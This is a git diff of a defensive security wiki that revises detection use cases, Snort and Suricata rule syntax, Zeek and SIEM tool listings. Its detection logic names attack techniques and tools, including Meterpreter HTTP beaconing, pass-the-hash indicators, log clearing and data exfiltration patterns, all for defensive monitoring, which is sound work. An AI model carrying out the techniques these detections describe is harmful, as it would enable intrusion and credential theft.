[h](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/)[ttps://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/) + * [Rapid7: CIS Critical Control 9 - Limitation and Control of Ports, Protocols, and Services](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/) **New Scheduled task** @@ -86,7 +86,7 @@ * The following event occurs on an endpoint * EventID 4657 * AND - * Manipulation of one fo the following target Registry key is one of the following: + * Manipulation of one of the following registry keys: * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run * HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce @@ -99,7 +99,7 @@ * Theory * Pass-the-hash attacks often use local administrator accounts to log in to other devices using the local admin's NTLM password hash instead of the password itself. Local accounts are rarely seen/used for logging into another device. NTLM use for local accounts is disabled by default, but still enabled for RID 500 (Administrator) accounts. Best practice is to disable this account and provision a specific user account with administrator privileges. * Some offensive tools will create a random Workstation name when performing a Pass-The-Hash attack. By checking the entropy value of workstation names in EventID 4624 logs, we can potentially discover the use of these tools. - * Local accounts should never be used to attempt to login to a second device. This activity could indicate a pass the hash attempt or other malcious activity. + * Local accounts should never be used to attempt to login to a second device. This activity could indicate a pass-the-hash attempt or other malicious activity. * Detection Requirements * Logging of EventID 4624: Account was successfully logged on. * Logging of EventID 4625: An account failed to log in. @@ -185,7 +185,7 @@ **Logs Cleared** * Theory - * Threat actors will typically try to delete logs in order to cover thier tracks and make analysis more difficult. Looking for these actions can alert to when a threat actor is in your environment. + * Threat actors will typically try to delete logs in order to cover their tracks and make analysis more difficult. Looking for these actions can alert to when a threat actor is in your environment. * Detection Requirements * Logging of EventID 104: The System log file was cleared * Logging of EventID 1102 - The audit log was cleared @@ -198,7 +198,7 @@ **AppLocker Blocked Action** * Theory - * AppLocker can log when and EXE, DLL, MSI, or script is allowed, blocked, or wouldhave been blocked but is in a pre-enforcement mode. Combined with a strong application whitelisting policy, this can greatly harden a device. + * AppLocker can log when an EXE, DLL, MSI, or script is allowed, blocked, or would have been blocked in pre-enforcement mode. Combined with a strong application allow-listing policy, this can greatly harden a device. * Detection requirements * Logging of EventID 8002: Allowed EXE or DLL * Logging of EventID 8003: Would have blocked EXE or DLL @@ -214,3 +214,13 @@ * Where * The following event occurs on an endpoint: * EventID 8003 OR EventID 8004 OR EventID 8006 OR EventID 8007 + +For Sysmon configuration and Windows Event ID references, see: + +{% content-ref url="../sysmon.md" %} +[sysmon.md](../sysmon.md) +{% endcontent-ref %} + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/general-network-traffic.md b/blue-defense/event-detection/detection-use-cases/general-network-traffic.md index f907b66..bc1f761 100644 --- a/blue-defense/event-detection/detection-use-cases/general-network-traffic.md +++ b/blue-defense/event-detection/detection-use-cases/general-network-traffic.md @@ -2,7 +2,7 @@ **Network Baselining - Anomaly Reports** -When monitoring network traffic, we can identify anomalies of traffic by statistical outliers. These are important to review regularly for suspicious activity as well as for opportunities to add to any available white/black lists.These are typically a very large amount of data to return, so it is recommended to use these detections as regularly scheduled reports to be reviewed, rather than alerts. +When monitoring network traffic, we can identify anomalous traffic with statistical outliers. These are important to review regularly for suspicious activity as well as opportunities to tune allow and deny lists. These detections usually return a large amount of data, so it is often better to run them as scheduled reports rather than alerts. * **Large Volumes of Internal Blocked Traffic -** Traffic within your network should all be legitimate and not require any blocking. That being said, a default network setup will have TONS of internal blocked traffic. Vuln scanners, default Windows utilities, Broadcast/multicast traffic, etc. Tune these out before enabling this use case. * Great for detecting unauthorized internal recon and pivoting. @@ -27,7 +27,7 @@ When monitoring network traffic, we can identify anomalies of traffic by statist * Look for network connections, or the sum of like network connections that start/stop in sequence that add up to anything longer than 24 hours. * **Top Connections** - Reviewing top source and destination IPs can identify potentially unauthorized or malicious network traffic. This is further enhanced if you can see a trendline of the traffic to detect abnormal spikes in activity. * **Potential Data Exfiltration -** Looking at the summed byte count of of traffic between a source and destination where the session appears to be the same, can potentially expose large, unauthorized file transfers. -* **Abnormal Upload/Download Ratio** - Depending on the purpose of the device, connections will typically have an upload/download ratio that reflect that purpose. Example: Most end user devices will have web requests that are heavily trended towards download rather than upload. If that changes, it could undicate beaconing or exfiltration. This should always be correlated with spikes in connection counts as well. +* **Abnormal Upload/Download Ratio** - Depending on the purpose of the device, connections will typically have an upload/download ratio that reflects that purpose. Example: Most end user devices will have web requests that trend heavily toward download rather than upload. If that changes, it could indicate beaconing or exfiltration. This should always be correlated with spikes in connection counts as well. * **Per subnet event count anomalies.** **Unauthorized RDP Use** @@ -73,7 +73,7 @@ When monitoring network traffic, we can identify anomalies of traffic by statist * Detected use of SMB * EventID 4624 * OR - * Dest Port = 3389 + * Dest Port = 445 or 139 * AND * Source is * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 @@ -92,9 +92,15 @@ When monitoring network traffic, we can identify anomalies of traffic by statist **Traffic to New Port** * Theory - * Business activity is regular and repetitive. One a device is fully deployed in a network, it will rarely see connections with previously unused ports. By detecting connections with ports that have never previously been used, we can detect various types of potentially malicious traffic within our network. + * Business activity is regular and repetitive. Once a device is fully deployed in a network, it will rarely see connections with previously unused ports. By detecting connections with ports that have never previously been used, we can detect various types of potentially malicious traffic within our network. * Requirements * Logic * Where - * Internal asset and traffic destination port combination has not been seen wihtin the past 90 days. + * Internal asset and traffic destination port combination has not been seen within the past 90 days. + +For packet capture, beaconing, and protocol analysis references, use Packet Analysis. + +{% content-ref url="../../packet-analysis.md" %} +[packet-analysis.md](../../packet-analysis.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/http.md b/blue-defense/event-detection/detection-use-cases/http.md index 679748b..32e640e 100644 --- a/blue-defense/event-detection/detection-use-cases/http.md +++ b/blue-defense/event-detection/detection-use-cases/http.md @@ -5,7 +5,7 @@ * Unauthorized proxy detection and WPAD attacks * If the XFF field is present, a proxy is being used. We can look for the presence of the XFF field in HTTP logs where the source IP does not match approved Web Servers. This will discover policy violations, and WPAD based MITM attacks * Meterpreter over HTTP - * Default Merterpreter configurations will perform an HTTP GET request about every 3 seconds and will continue constantly + * Default Meterpreter configurations will perform an HTTP GET request about every 3 seconds and will continue constantly * Scan/crawl of a web server detection by HTTP Method * \~1000 get requests in a 5 minute period * \>100 POST requests in a 5 minute period @@ -22,9 +22,9 @@ * A good starting place is looking at URL lengths of over 250 characters, but may require tuning per your environment. * Note: This is intended for organization controlled Web Servers. Using this technique to monitor standard HTTP traffic will yield a ton of noise, as many ad domains have long URLs. * Malicious/Unauthorized User-Agent - * A high-value add data point, User-Agents can be used to identify sloppy malware, where the User-agent has a typo in it, or the malware author is so bold they even put its name in the User-Agent field. + * User-Agent is a high-value data point. It can identify sloppy malware when the User-Agent has a typo or when the malware author puts the malware name directly in the field. * Older User-agents can be used to identify older operating systems that might have slipped past Vulnerability management. - * While this Use Case does require the creation of an allow list based on expected traffic within your organization, it will be a high fidelity alert for all unauthorized traffic.Most websites tend to fall below a certain URL character length. Certain web attacks like SQL injection will make the URL length quite large, especially when using HTML encoding to bypass any SQL injection defenses. This is usually a built in use case for most Web App Firewalls, but if you do not have one, it is still an easy use case to implement. + * While this use case requires an allow list based on expected traffic within your organization, it can become a high-fidelity alert for unauthorized traffic. Most websites tend to fall below a certain URL character length. Certain web attacks, like SQL injection, can make the URL length quite large, especially when using HTML encoding to bypass SQL injection defenses. This is usually a built-in use case for most web application firewalls, but if you do not have one, it is still an easy use case to implement. ## **HTTPS DETECTION Use Cases - Certificates** @@ -33,8 +33,8 @@ * Potential Malware SSL Certificate * One or more missing fields - Similar to Meterpreter, many types of malware will use a self-signed certificate and be missing one or more common fields. These are typically Organization, Organization Unit, State, and Country code. * Improper field content - We can also look at improper data in fields such as Country Code. Simply looking at the country code field for non existent country codes, can be rather effective. - * Uncommon Common Names - The Common Name fields often look liek DNS domains. Malware can sometimes generate Common names that dismiss the TLD suffix. Simply, finding a certificate with a common name missing a "." is abnormal. - * We can look at malware dumps like [Contagio](https://contagiodump.blogspot.com/) for evidence of the disparity of presence of certificate fields. Country code and Organization fields are missing in about 33% of malware certificates, and state/country code are missing in almost 75%. + * Uncommon Common Names - The Common Name fields often look like DNS domains. Malware can sometimes generate common names that omit the TLD suffix. Finding a certificate with a common name missing a "." is abnormal. + * We can look at malware dumps like [Contagio](https://contagiodump.blogspot.com/) for evidence of the disparity of presence of certificate fields. Country code and organization fields are missing in about 33% of malware certificates, and state/country code are missing in almost 75%. * Certificates should constantly be inspected for field combinations that would raise suspicion. * Expired SSL Certificate * Sometimes legitimate certificates can be collected by malicious actors by various means and used long after they have expired. Sometimes the use of an expired SSL certificate can indicate interaction with an older machine that has not been maintained and may be compromised. Either way, there is little to no justification for legitimate interaction with a device that uses an expired SSL Certificate. @@ -43,7 +43,13 @@ * Self-Signed Certificate * While this Use Case will require filtering and tuning, it is rare that you will see legitimate external traffic using a self-signed SSL certificate. Internal traffic will take some work to filter out as internal traffic has a higher occurrence of using self-signed certificates. That being said, you should do all you can to limit self-signed certificate use within your organization. * Unauthorized certificate issuer - * Signed certificates dont mean anything if we do not trust the Certificate Authority that signed them. It is possible to find and export a list of trusted root certificate authorities that can be used as a lookup and white list. Conversely, a blacklist could be made for those that we would not trust. + * Signed certificates do not mean anything if we do not trust the Certificate Authority that signed them. It is possible to find and export a list of trusted root certificate authorities that can be used as a lookup and allow list. Conversely, a deny list could be made for those that we would not trust. * Beware of free CAs like Let's Encrypt that are becoming increasingly more popular. They allow [malware and phishing campaigns](https://www.trendmicro.com/en\_us/research/16/a/lets-encrypt-now-being-abused-by-malvertisers.html) to use legitimately signed certificates. * High entropy of Certificate field entries * As mentioned with the Meterpreter Use Case, some malware will create a random string to fill in certificate data fields. We can use frequency analysis tools like [freq.py](https://github.com/markbaggett/freq) to calculate entropy of the field. + +For malware samples, sandboxing, and DFIR malware analysis resources, use the DFIR malware pages. + +{% content-ref url="../../../dfir-digital-forensics-and-incident-response/malware.md" %} +[malware.md](../../../dfir-digital-forensics-and-incident-response/malware.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/smtp.md b/blue-defense/event-detection/detection-use-cases/smtp.md index 9721725..a42a0e0 100644 --- a/blue-defense/event-detection/detection-use-cases/smtp.md +++ b/blue-defense/event-detection/detection-use-cases/smtp.md @@ -11,13 +11,13 @@ description: Detection, Enrichment, and Use cases ## **SMTP - Use Cases** * Fuzzy search phishing domain detection - * Fuzzy searching of email domains - Use fuzzy searching utilities of your SIEM or supplementary tool like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) to calculate Levenshtien distance of a string and detect similar domains. This use case should return nothing unless a potential typo-squatting domain is detected. This technique is extremely effective against phishing domains and targeted attacks. - * Elastisearch: + * Fuzzy searching of email domains - Use fuzzy searching utilities of your SIEM or supplementary tool like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) to calculate Levenshtein distance of a string and detect similar domains. This use case should return nothing unless a potential typo-squatting domain is detected. This technique is extremely effective against phishing domains and targeted attacks. + * Elasticsearch: * `tags:smtp domain:SEARCHDOMAIN.com~ -domain:SEARCHDOMAIN.com` * The \~ character indicates a fuzzy search. You will also remove the searched domain itself from the search results. * Splunk: * Use either [Fuzzy Search for Splunk](https://splunkbase.splunk.com/app/3109/) app, or [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) via an API call. - * \#NOTE: This can also be done with DNS records, but will create a significantly higher rate of false positives. + * Note: This can also be done with DNS records, but will create a significantly higher rate of false positives. * Domain match with [DNStwist](https://github.com/elceef/dnstwist) domain list - Used for expanded searching beyond the 1-2 character difference of fuzzy searching. Also allows for searching of Homograph domain usage. The best use is to use DNStwist to create a domain list as a lookup file and dynamically alert based on matches to traffic containing these domains. * Bulk phishing detection * Search for large amounts of emails from an external address sent within a short time frame. Will require adjustment to find the correct emails per minute threshold for your organization. @@ -27,6 +27,12 @@ description: Detection, Enrichment, and Use cases * Unauthorized outbound SMTP detection * Email should only be coming from authorized sources. We can detect unauthorized mail relays and potential C2 activity, by limiting SMTP traffic to mail servers and other pre-approved tools, while alerting on anything else. * Unauthorized SMTP user agent detection - * By looking for unwanted user agents, we can detect un approved outbound email applications. This is handy for alerting when an authorized system is compromised. + * By looking for unwanted user agents, we can detect unapproved outbound email applications. This is handy for alerting when an authorized system is compromised. * Outbound SMTP traffic anomaly detection - * Either by baselining or machine learning, if we can establish a normal pattern and volume of outbound email traffic, we can set up alerting around any strange spikes in outbound email traffic that might indicate a compromised system using SMTP for a c2 channel or for further phishing activities. + * Either by baselining or machine learning, if we can establish a normal pattern and volume of outbound email traffic, we can set up alerting around any strange spikes in outbound email traffic that might indicate a compromised system using SMTP for a C2 channel or for further phishing activities. + +For domain enrichment, typo-squatting investigation, and dnstwist-style workflows, use the domain OSINT page. + +{% content-ref url="../../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md b/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md index 3140528..13d0ed1 100644 --- a/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md +++ b/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md @@ -1,14 +1,23 @@ -# User Behavior monitoring +# User Behavior Monitoring -Service account on a non-service related system = Alert +Use this page for UEBA-style starter ideas: activity that may be individually legitimate but becomes suspicious when compared to the user, role, host, time, or normal business process. + +## High-Value Patterns + +* Service account used on a non-service system. +* Domain admin account logging into a regular workstation. +* New login location for a user. +* Unusual login time, separated by user group. System administrators and accountants usually have very different working patterns. +* Account sharing indicators, such as one user logging into many workstations in a short window. +* Internal account or DNS enumeration using native authorized tools. +* Unusual protocol use for a user's role or device. + +## Process and Access Behavior * Unusual process by user * Start with Application Control * Machine learning can profile Powershell.exe use at startup vs a manual launch * Unusual process by time -* New Login Locations -* Unusual Login Time - * Separate by user group. Sys admins log in a crazy times. Accountants do not. * Account/DNS Enumeration * Insider recon is done with native authorized tools * Can be locked down by security group @@ -16,16 +25,15 @@ Service account on a non-service related system = Alert * Most can be caught without machine learning * [https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html) * Directory service lookups -* Unusual protocol use -* Account Sharing - * Number of workstations logged into by user within time frame - * login within 1 minute of process creation or login event on a different system - * user logged in externally as well as internally -* Improper use of Privileged User Account - * Domain admin account logging into a regular workstation = Alert -Brute force logins do not require behavioral analysis. It is either evil or misconfigured. Either way, it needs a ticket. 50 failed logons in a minute. +## Notes + +* Brute force logins do not require behavioral analysis. They are either malicious or misconfigured, and either case needs a ticket. +* Compromised accounts are likely to generate more denied access logs. Least privilege helps make this easier to spot. +* A controlled jump box for all domain admin logins makes privileged sessions easier to track and makes off-path admin logons more visible. -Compromised accounts are likely to generate more denied access logs. Least privilege helps make this easy to spot. +For authentication and logon-specific detections, use the Authentication/Logon page. -Look at using a controlled jumped box for all domain admin logins. Makes it easy to track sessions and look for any logins not from the Jump Box. +{% content-ref url="authentication-logon.md" %} +[authentication-logon.md](authentication-logon.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md b/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md index 55cbffd..d03fbd5 100644 --- a/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md +++ b/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md @@ -1,4 +1,4 @@ -# Windows Event ID logging list +# Windows Event ID Logging List * EventID 104: The System log file was cleared * Use Case - Clearing of logs @@ -85,9 +85,9 @@ * EventID 8007: Blocked MSI or Script * Use Case - Applocker performed a blocking action -Reference +## Reference -* [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) +* [Microsoft: Events to Monitor](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) #### AD Attack Detection diff --git a/blue-defense/event-detection/ids-ips.md b/blue-defense/event-detection/ids-ips.md index 1835a2b..496d396 100644 --- a/blue-defense/event-detection/ids-ips.md +++ b/blue-defense/event-detection/ids-ips.md @@ -1,104 +1,109 @@ # IDS/IPS +Use this page as the Blue section's canonical home for Snort, Suricata, Zeek, Security Onion, IDS/IPS rule syntax, and network security monitoring platforms. + ## **Intrusion Detection Systems** -Fantastic tools that can make detection easy. They can look at logs of various kinds and use rule sets to react and alert to any traffic that violates those rules. Open source IDS tools have huge public rule sets both included with the tool and available across the internet. It is my opinion that open source IDS products offer superior detection capability to the premium products on the market due to the power of the community behind the tools and their public sharing of detection rules. +Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are critical components of network defense. They analyze network traffic and logs to deny or alert on potential threats based on defined rule sets. Open-source IDS solutions are widely respected for their detection capabilities, often rivaling premium products due to active community support and publicly shared detection rules. -## [Surricata](https://suricata-ids.org/) +## [Suricata](https://suricata-ids.org/) -A solution that combines intrusion detection (IDS), intrusion prevention (IPS), network security monitoring (NSM) and PCAP processing, Surricata can quickly identify, stop, and assess the most sophisticated attacks. Truly a fantastic detection engine, it has quickly become a popular choice for IDS functions built into other products, such as the IDS function of Ubiquiti products. +Suricata is a high-performance, open-source network analysis and threat detection software. It combines intrusion detection (IDS), intrusion prevention (IPS), network security monitoring (NSM), and PCAP processing. Suricata is capable of identifying, stopping, and assessing sophisticated attacks. It is widely adopted and often integrated into other security products. -* Can collect logs with syslog, [Unified2](https://www.snort.org/faq/readme-unified2), flat files, or the preferred method of [EVE](https://suricata.readthedocs.io/en/suricata-6.0.0/output/eve/eve-json-output.html) +* Can collect logs with syslog, [Unified2](https://www.snort.org/faq/readme-unified2), flat files, or the preferred method of [EVE](https://docs.suricata.io/en/latest/output/eve/eve-json-output.html) * EVE is a highly configurable JSON format that can support multiple files. -* [https://suricata.readthedocs.io/en/suricata-6.0.3/](https://suricata.readthedocs.io/en/suricata-6.0.3/) -* [Evebox Surricata event viewer](https://github.com/jasonish/evebox) - EveBox is a web based Suricata "eve" event viewer for Elastic Search. +* [Suricata User Guide](https://docs.suricata.io/en/latest/) +* [Evebox Suricata event viewer](https://github.com/jasonish/evebox) - EveBox is a web based Suricata "eve" event viewer for Elastic Search. * [suricata-language-server](https://github.com/StamusNetworks/suricata-language-server) - An implementation of the Language Server Protocol for Suricata signatures. It adds syntax check, hints and auto-completion to your preferred editor once it is configured. * [https://rules.emergingthreats.net/open/suricata/rules/](https://rules.emergingthreats.net/open/suricata/rules/) * _PTFM: Suricata Commands - pg. 185_ -## [Snort ](https://github.com/snort3/snort3) +## [Snort](https://github.com/snort3/snort3) -One of the most powerful detection tools on the market Snort has three primary uses: As a packet sniffer like tcpdump, as a packet logger — which is useful for network traffic debugging, or it can be used as a full-blown network intrusion prevention system. +Snort is a widely deployed open-source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS). It allows for packet sniffing (like tcpdump), packet logging, and full-blown network intrusion prevention. -* Can collect logs via Syslog, CSV, Database, or the prefered method of [Unified2](https://www.snort.org/faq/readme-unified2) +* Can collect logs via Syslog, CSV, Database, or the preferred method of [Unified2](https://www.snort.org/faq/readme-unified2) * Unified2 is a binary output for Snort. It will need interpretation by tools like [Barnyard](https://github.com/firnsy/barnyard2) or [u2json](https://idstools.readthedocs.io/en/latest/tools/u2json.html) -* __[https://snort.8jorg/](https://snort.org/) +* [https://snort.org/](https://snort.org/) * [https://snort.org/#documents](https://snort.org/#documents) * [https://snort.org/downloads/#rule-downloads](https://snort.org/downloads/#rule-downloads) -* [https://paper.bobylive.com/Security/Snort\_rule\_infographic.pdf](https://paper.bobylive.com/Security/Snort\_rule\_infographic.pdf) +* [https://paper.bobylive.com/Security/Snort_rule_infographic.pdf](https://paper.bobylive.com/Security/Snort_rule_infographic.pdf) * [https://resources.infosecinstitute.com/topic/snort-rules-workshop-part-one/](https://resources.infosecinstitute.com/topic/snort-rules-workshop-part-one/) * [Intrusion Detection Systems with Snort](http://ptgmedia.pearsoncmg.com/images/0131407333/downloads/0131407333.pdf) (PDF) * _BTFM: SNORT - pg. 45_ * _(BTHb: INRE): Using Snort IDS - pg. 103_ * _PTFM: Snort Commands - pg. 186_ * _Operator Handbook: SNORT - pg. 276_ -* [PulledPork](https://github.com/shirkdog/pulledpork) - Rule management software for SNORT and Surricata rules. -* Snort/Surricata Alerting - * [Snorby](https://github.com/Snorby/snorby) - Snorby is a ruby on rails web application for network security monitoring that interfaces with current popular intrusion detection systems (Snort, Suricata and Sagan). - * [Sguil](https://github.com/bammv/sguil) - Network security monitoring tool that provides access to real time events, session data, and raw packet captures. -* _Signature-Based Detection with Snort and Surricata - Applied Network Security Monitoring - pg.203_ +* _Signature-Based Detection with Snort and Surricata - Applied Network Security Monitoring - pg. 203_ ### **Writing a SNORT Rule** -[http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node29.html](http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node29.html)\ -[https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/](https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/)\ -\ -A standard rule is broken down as follows:\ -• \[action]\ -• \[protocol]\ -• \[ip address] – source\ -• \[port number] – source\ -• \[direction options]\ -• \[ip address] – destination\ -• \[port number] – destination\ -• \[general options]\ -• \[detection options]\ -\ -Actions\ -• `alert` generates an alert and logs the packet\ -• `log` logs the packet\ -• `pass` ignores the packet\ -• `drop` blocks and logs the packet\ -• `reject` blocks the packet, logs it and then sends a TCP Reset or ICMP Port Unreachable\ -\ -Protocol\ -• `TCP`\ -• `UDP`\ -• `ICMP`\ -• `IP`\ -\ -IP address\ -• `any` – a wildcard for any IP address\ -• `10.10.10.23` – any single valid IP address\ -• `10.10.10.0/24` – CIDR notation for block ranges\ -• `!192.168.0.1/24` – prefixing this field with an exclamation mark means ‘NOT’\ -• `[192.168.1.1,192.168.1.2,192.168.1.3]` – comma-separated lists can use the previous syntax\ -\ -Port\ -• `any` – a wildcard for any port\ -• `443` – any single port number\ -• `1:1024` – port range\ -• \[443, 447, etc..] - listing multiple specific ports\ -\ -Direction\ -• `<>` bidirectional\ -• `->` unidirectional\ -\ -General Options\ -• `msg` is the message that displays in the log/alert\ -• `sid` is a unique numerical identifier that identifies the rule and has several reserved ranges\ -• `rev` annotates the revision of a rule\ -• `classtype` is used to categorise and group common rules and has many defaults\ -\ -Detection options - This set of key:value pairs instructs the scanning engine to detect specific data within packets.\ -• Content - The content keyword forms the core of the rule detection. It can include text, binary data or a mixture of the two. It is important to keep in mind that content keywords are case sensitive.\ -◇ `content: "This is a string of text";`\ -◇ `content: "|68 65 6c 6c 6f|";`\ -◇ `content: "Hello |77 6f | rld";`\ -◇ `content: !"Not this one";`\ -\ -View only certin number of Bytes\ -• depth:3;\ -\ -Starting point for search\ -• offset:20; +* [Snort Rule Docs](https://docs.snort.org/rules/) +* [Understanding and Configuring Snort Rules (Rapid7)](https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/) + +A standard rule is broken down as follows: + +`[action] [protocol] [ip address] [port number] [direction] [ip address] [port number] ([options])` + +**Actions** +* `alert`: Generates an alert and logs the packet. +* `log`: Logs the packet. +* `pass`: Ignores the packet. +* `drop`: Blocks and logs the packet. +* `reject`: Blocks the packet, logs it, and then sends a TCP Reset or ICMP Port Unreachable. + +**Protocol** +* `TCP` +* `UDP` +* `ICMP` +* `IP` + +**IP/Port Constraints** +* `any`: Wildcard for any IP or Port. +* `10.10.10.23` or `443`: Specific IP or Port. +* `10.10.10.0/24`: CIDR notation. +* `!192.168.0.1`: Negation (NOT). +* `[192.168.1.1,192.168.1.2]`: Comma-separated list. +* `1:1024`: Port range. + +**Direction** +* `<>`: Bidirectional. +* `->`: Unidirectional (Source -> Destination). + +**General Options** +* `msg`: The message that displays in the log/alert. +* `sid`: Unique numerical identifier (Snort ID). +* `rev`: Revision of the rule. +* `classtype`: Categorizes the rule (e.g., attempted-admin, trojan-activity). + +**Detection Options** +Key-value pairs instructing the engine to find specific data. + +* **Content**: The core detection keyword. Case sensitive by default. + * `content: "This is a string";` + * `content: "|68 65 6c 6c 6f|";` (Hex for "hello") + * `content: !"Not this one";` (Negation) + +* **Modifiers**: + * `depth: 3;` (Look only within the first 3 bytes) + * `offset: 20;` (Start looking after byte 20) + +## [Zeek](https://zeek.org/) (formerly Bro) + +Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support detailed investigations of suspicious activity. Zeek provides compact, high-fidelity transaction logs, file content, and fully customizable output, making it distinct from traditional signature-based IDS. + +* **Transaction Logs**: Zeek writes extensive logs for every connection, identifying protocols (HTTP, DNS, SMTP, etc.) and attributes (headers, status, methods). +* **Scripting**: Zeek has a powerful scripting language to analyze traffic and create custom detection logic. +* **Metadata**: Unlike Snort/Suricata which focus on alerts, Zeek focuses on rich metadata and visibility. + +## [Security Onion](https://securityonionsolutions.com/) + +Security Onion is a free and open-source Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes Suricata, Zeek, Wazuh, the Elastic Stack, and many other security tools in a comprehensive platform. + +## Legacy / Deprecated Tools + +The following tools have been historically significant but are either unmaintained or have been superseded by modern alternatives. + +* **[PulledPork](https://github.com/shirkdog/pulledpork)**: Historically used for rule management in Snort 2 and Suricata. Modern Snort 3 internal tools or newer managers are often preferred today. +* **[Snorby](https://github.com/Snorby/snorby)**: A Ruby on Rails web application for NSM visualization. It has not been updated in many years and is considered unmaintained. +* **[Sguil](https://github.com/bammv/sguil)**: The "Scripted GUI for Analysis of Network Packets". A veteran tool for NSM analyst workflow, largely replaced by modern web-based dashboards like Kibana (in Elastic Stack) or EveBox. diff --git a/blue-defense/event-detection/siem-and-enrichment.md b/blue-defense/event-detection/siem-and-enrichment.md index f7a8c81..d43c20b 100644 --- a/blue-defense/event-detection/siem-and-enrichment.md +++ b/blue-defense/event-detection/siem-and-enrichment.md @@ -1,22 +1,24 @@ # SIEM and Enrichment +Use this page for SIEM platforms and enrichment techniques used during alert triage, detection, and investigation. Threat intelligence platforms and feeds live in Cyber Intelligence, while case management and incident response workflows live in DFIR. + ## Open Source SIEMs -* [Elastic Stack: Kibana](https://www.elastic.co/siem/) - One of the most popular and flexible tools our there, Elastic stack is a data mining platform where you can parse logs of all kinds for all different purposes. Kibana, is the SIEM application within Elastic Stack. It comes with an event manager, alerting tools, and event a set of default alerting use cases. - * [Download Elastic Agent Free ](https://www.elastic.co/downloads/elastic-agent) - Beyond logs sent to Elastic Stack, there is also an installable agent that be used as a sensor for endpoint collecting logs . - * [SIEMonster | Affordable Security Monitoring Software Solution](https://siemonster.com/community-edition/) - An all in one VM that has Elastic stack as well as all of the other logging and alerting tools you might want +* [Elastic Stack: Kibana](https://www.elastic.co/siem/) - One of the most popular and flexible tools out there, Elastic Stack is a data mining platform where you can parse logs of all kinds for all different purposes. Kibana is the interface for the Elastic Stack, containing the Elastic Security solution. It comes with an event manager, alerting tools, and even a set of default alerting use cases. + * [Download Elastic Agent Free ](https://www.elastic.co/downloads/elastic-agent) - Beyond logs sent to Elastic Stack, there is also an installable agent that can be used as a sensor for collecting endpoint logs. + * [SIEMonster | Affordable Security Monitoring Software Solution](https://siemonster.com/community-edition/) - An all in one VM that has Elastic Stack as well as all of the other logging and alerting tools you might want. * [Cyber Wardog Lab: Building a Sysmon Dashboard with an ELK Stack](https://cyberwardog.blogspot.com/2017/03/building-sysmon-dashboard-with-elk-stack.html) - * [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/current/index.html) ([fork it on GH](https://github.com/elastic/elasticsearch-definitive-guide)) - * [https://training.elastic.co/learn-from-home\*](https://training.elastic.co/learn-from-home\*) -* [Greylog](https://www.graylog.org/) - Greylog is a fantastically flexible logging solution that also has its own security correlation engine with Greylog Illuminate. + * [Elasticsearch Guide](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html) - The official documentation. + * [Elastic Training](https://www.elastic.co/training/) +* [Graylog](https://www.graylog.org/) - Graylog is a fantastically flexible logging solution that also has its own security correlation engine with Graylog Illuminate. * [Enhance Windows Security with Sysmon, Winlogbeat and Graylog | Graylog](https://www.graylog.org/post/back-to-basics-enhance-windows-security-with-sysmon-and-graylog) -* [MozDef: The Mozilla SIEM](https://github.com/mozilla/MozDef) - An interesting product from the makers of everyone's favorite opensource web browser, MozDef has been built to be a SIEM focused around automation and expediency of addressing of security alerts. - * [https://mozdef.readthedocs.io/en/latest/overview.html](https://mozdef.readthedocs.io/en/latest/overview.html) * [OSSIM: The Open Source SIEM | AlienVault](https://cybersecurity.att.com/products/ossim) - OSSIM is a super handy security platform that focuses less on the data mining and more of the security alerting. It has an incredibly easy to use security rule generation tool and also can perform cross correlation between data sources. +* [Wazuh](https://wazuh.com/) - A completely free and open source platform used for threat prevention, detection, and response. It is capable of endpoint security monitoring, incident response, and regulatory compliance. It is widely used and integrates well with the Elastic Stack. +* [Security Onion](https://securityonionsolutions.com/) - A free and open Linux distribution for threat hunting, enterprise security monitoring, and log 